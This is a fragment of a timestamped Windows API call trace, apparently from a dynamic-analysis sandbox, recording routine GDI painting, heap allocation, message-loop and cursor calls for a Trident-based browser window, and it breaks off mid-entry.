[0146.383] IntersectRect (in: lprcDst=0x309824, lprcSrc1=0x30f18c, lprcSrc2=0x309824 | out: lprcDst=0x309824) returned 1 [0146.383] SelectObject (hdc=0x6010a70, h=0x1510093f) returned 0x1900010 [0146.383] GetStockObject (i=8) returned 0x1b00016 [0146.383] SelectObject (hdc=0x6010a70, h=0x1b00016) returned 0x1b00017 [0146.383] GetROP2 (hdc=0x6010a70) returned 13 [0146.383] SetBkMode (hdc=0x6010a70, mode=2) returned 1 [0146.383] Rectangle (hdc=0x6010a70, left=2, top=0, right=1046, bottom=151) returned 1 [0146.383] SetBkMode (hdc=0x6010a70, mode=1) returned 2 [0146.383] SelectObject (hdc=0x6010a70, h=0x1b00017) returned 0x1b00016 [0146.383] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1510093f [0146.383] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b44 | out: lprcDst=0x8379a0) returned 1 [0146.383] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b64 | out: lprcDst=0x8379a0) returned 1 [0146.383] BitBlt (hdc=0x4e0106dd, x=0, y=302, cx=1064, cy=150, hdcSrc=0x6010a70, x1=0, y1=0, rop=0xcc0020) returned 1 [0146.383] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83f740 | out: hHeap=0x7f0000) returned 1 [0146.383] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x83f740 [0146.383] IntersectRect (in: lprcDst=0x309e8c, lprcSrc1=0x309e8c, lprcSrc2=0x309e5c | out: lprcDst=0x309e8c) returned 1 [0146.383] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.383] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309d60 | out: lprcDst=0x8379a0) returned 1 [0146.383] IntersectRect (in: lprcDst=0x309d60, lprcSrc1=0x309d60, lprcSrc2=0x8379b0 | out: lprcDst=0x309d60) returned 1 [0146.383] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0146.383] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x83d828 [0146.383] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x83d828) returned 0x15040a0b [0146.383] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0146.383] SelectClipRgn (hdc=0x6010a70, hrgn=0x15040a0b) returned 2 [0146.383] DeleteObject (ho=0x15040a0b) returned 1 [0146.384] SelectObject (hdc=0x6010a70, h=0x1d100211) returned 0x1900010 [0146.384] PatBlt (hdc=0x6010a70, x=2, y=0, w=1043, h=133, rop=0xf00021) returned 1 [0146.384] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1d100211 [0146.384] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e7c | out: lprcDst=0x8379a0) returned 1 [0146.384] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e9c | out: lprcDst=0x8379a0) returned 1 [0146.384] IntersectRect (in: lprcDst=0x309b54, lprcSrc1=0x309b54, lprcSrc2=0x309b24 | out: lprcDst=0x309b54) returned 1 [0146.384] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.384] IntersectRect (in: lprcDst=0x309a38, lprcSrc1=0x309a38, lprcSrc2=0x8379b0 | out: lprcDst=0x309a38) returned 0 [0146.384] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309a28 | out: lprcDst=0x8379a0) returned 1 [0146.384] IntersectRect (in: lprcDst=0x309a28, lprcSrc1=0x309a28, lprcSrc2=0x8379b0 | out: lprcDst=0x309a28) returned 1 [0146.384] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0146.384] IntersectRect (in: lprcDst=0x309824, lprcSrc1=0x30f18c, lprcSrc2=0x309824 | out: lprcDst=0x309824) returned 1 [0146.384] SelectObject (hdc=0x6010a70, h=0x1510093f) returned 0x1900010 [0146.384] GetStockObject (i=8) returned 0x1b00016 [0146.384] SelectObject (hdc=0x6010a70, h=0x1b00016) returned 0x1b00017 [0146.384] GetROP2 (hdc=0x6010a70) returned 13 [0146.384] SetBkMode (hdc=0x6010a70, mode=2) returned 1 [0146.384] Rectangle (hdc=0x6010a70, left=2, top=0, right=1046, bottom=134) returned 1 [0146.384] SetBkMode (hdc=0x6010a70, mode=1) returned 2 [0146.384] SelectObject (hdc=0x6010a70, h=0x1b00017) returned 0x1b00016 [0146.384] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1510093f [0146.384] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b44 | out: lprcDst=0x8379a0) returned 1 [0146.384] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b64 | out: lprcDst=0x8379a0) returned 1 [0146.384] BitBlt (hdc=0x4e0106dd, x=0, y=452, cx=1064, cy=135, hdcSrc=0x6010a70, x1=0, y1=0, rop=0xcc0020) returned 1 [0146.384] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83f740 | out: hHeap=0x7f0000) returned 1 [0146.384] GetStockObject (i=15) returned 0x188000b [0146.384] SelectPalette (hdc=0x4e0106dd, hPal=0x188000b, bForceBkgd=1) returned 0x188000b [0146.385] EndPaint (hWnd=0x60018, lpPaint=0x30f520) returned 1 [0146.385] MapWindowPoints (in: hWndFrom=0x60018, hWndTo=0x0, lpPoints=0x30f0dc, cPoints=0x1 | out: lpPoints=0x30f0dc) returned 13435063 [0146.385] DeleteObject (ho=0x16040bf6) returned 1 [0146.385] GetCurrentThreadId () returned 0xcd8 [0146.385] GetCurrentThreadId () returned 0xcd8 [0146.385] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0146.411] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.411] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0146.411] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0146.411] PtInRect (lprc=0x30f570, pt=0x282) returned 1 [0146.411] GetCurrentThreadId () returned 0xcd8 [0146.411] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.411] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0146.412] GetMessageTime () returned 274530 [0146.412] GetMessagePos () returned 0x1c80339 [0146.412] GetCapture () returned 0x0 [0146.412] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0146.412] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0146.412] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0146.412] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.412] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0146.412] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0146.412] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0146.412] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0146.412] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0146.412] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0146.412] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.412] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0146.412] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0146.412] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0146.412] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0146.412] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0146.412] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0146.412] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0146.412] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0146.412] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.412] PtInRect (lprc=0x30f348, pt=0x282) returned 1 [0146.413] PtInRect (lprc=0x30f1ec, pt=0xfa32) returned 1 [0146.413] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0146.413] GetCursor () returned 0x10003 [0146.413] GetCurrentThreadId () returned 0xcd8 [0146.413] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0146.413] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0146.413] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.413] GetMessageTime () returned 274592 [0146.413] GetMessagePos () returned 0x1c80339 [0146.413] GetCapture () returned 0x0 [0146.413] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0146.413] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0146.413] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0146.413] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.413] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0146.413] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0146.413] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0146.413] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0146.413] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0146.414] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0146.414] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.414] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0146.414] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0146.414] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0146.414] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0146.414] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0146.414] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0146.414] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0146.414] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0146.414] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.414] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0146.414] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0146.414] GetCurrentThreadId () returned 0xcd8 [0146.414] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0146.415] PtInRect (lprc=0x30f3d0, pt=0x282) returned 1 [0146.415] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0xfb0282, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0146.415] NtdllDefWindowProc_W () returned 0x0 [0146.415] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0146.415] GetCurrentThreadId () returned 0xcd8 [0146.415] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0146.454] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0146.454] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0146.454] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.454] KillTimer (hWnd=0x60018, uIDEvent=0x1000) returned 1 [0146.454] GetCurrentThreadId () returned 0xcd8 [0146.454] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0146.563] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0146.563] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0146.563] GetCapture () returned 0x0 [0146.563] WindowFromPoint (Point=0x339) returned 0x60018 [0146.563] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.563] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0146.563] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0146.563] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0146.563] GetCurrentThreadId () returned 0xcd8 [0146.563] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0146.674] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.674] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0146.674] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0146.674] PtInRect (lprc=0x30f570, pt=0x282) returned 1 [0146.674] GetCurrentThreadId () returned 0xcd8 [0146.675] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.683] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0146.694] GetMessageTime () returned 274748 [0146.694] GetMessagePos () returned 0x1c80339 [0146.694] GetCapture () returned 0x0 [0146.694] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0146.725] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0146.731] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0146.732] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.732] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0146.732] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0146.732] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0146.732] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0146.732] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0146.732] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0146.732] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.732] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0146.732] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0146.732] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0146.732] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0146.740] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0146.740] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0146.740] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0146.743] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0146.743] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.745] PtInRect (lprc=0x30f348, pt=0x282) returned 1 [0146.745] PtInRect (lprc=0x30f1ec, pt=0xfa32) returned 1 [0146.750] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0146.751] GetCursor () returned 0x10003 [0146.751] GetCurrentThreadId () returned 0xcd8 [0146.751] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0146.751] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0146.753] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.873] GetMessageTime () returned 274858 [0146.873] GetMessagePos () returned 0x1c80339 [0146.873] GetCapture () returned 0x0 [0146.873] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0146.873] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0146.873] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0146.873] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.873] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0146.874] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0146.874] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0146.874] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0146.874] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0146.874] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0146.874] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.874] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0146.874] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0146.874] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0146.874] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0146.874] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0146.874] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0146.874] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0146.874] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0146.874] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.874] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0146.875] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0146.875] GetCurrentThreadId () returned 0xcd8 [0146.875] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0146.875] PtInRect (lprc=0x30f3d0, pt=0x282) returned 1 [0146.876] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0xfb0282, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0146.876] NtdllDefWindowProc_W () returned 0x0 [0146.876] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0146.876] GetCurrentThreadId () returned 0xcd8 [0146.876] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0146.876] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.876] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0146.876] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0146.876] PtInRect (lprc=0x30f570, pt=0x282) returned 1 [0146.876] GetCurrentThreadId () returned 0xcd8 [0146.876] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.876] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0146.876] GetMessageTime () returned 274858 [0146.876] GetMessagePos () returned 0x1c80339 [0146.876] GetCapture () returned 0x0 [0146.876] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0146.876] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0146.876] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0146.876] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.876] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0146.876] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0146.876] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0146.877] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0146.877] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0146.877] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0146.877] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.877] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0146.877] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0146.877] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0146.877] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0146.877] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0146.877] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0146.877] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0146.877] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0146.877] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.877] PtInRect (lprc=0x30f348, pt=0x282) returned 1 [0146.877] PtInRect (lprc=0x30f1ec, pt=0xfa32) returned 1 [0146.877] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0146.877] GetCursor () returned 0x10003 [0146.877] GetCurrentThreadId () returned 0xcd8 [0146.877] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0146.877] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0146.877] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.877] GetMessageTime () returned 275060 [0146.877] GetMessagePos () returned 0x1c80339 [0146.878] GetCapture () returned 0x0 [0146.878] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0146.878] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0146.878] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0146.878] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.878] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0146.878] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0146.878] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0146.878] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0146.878] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: 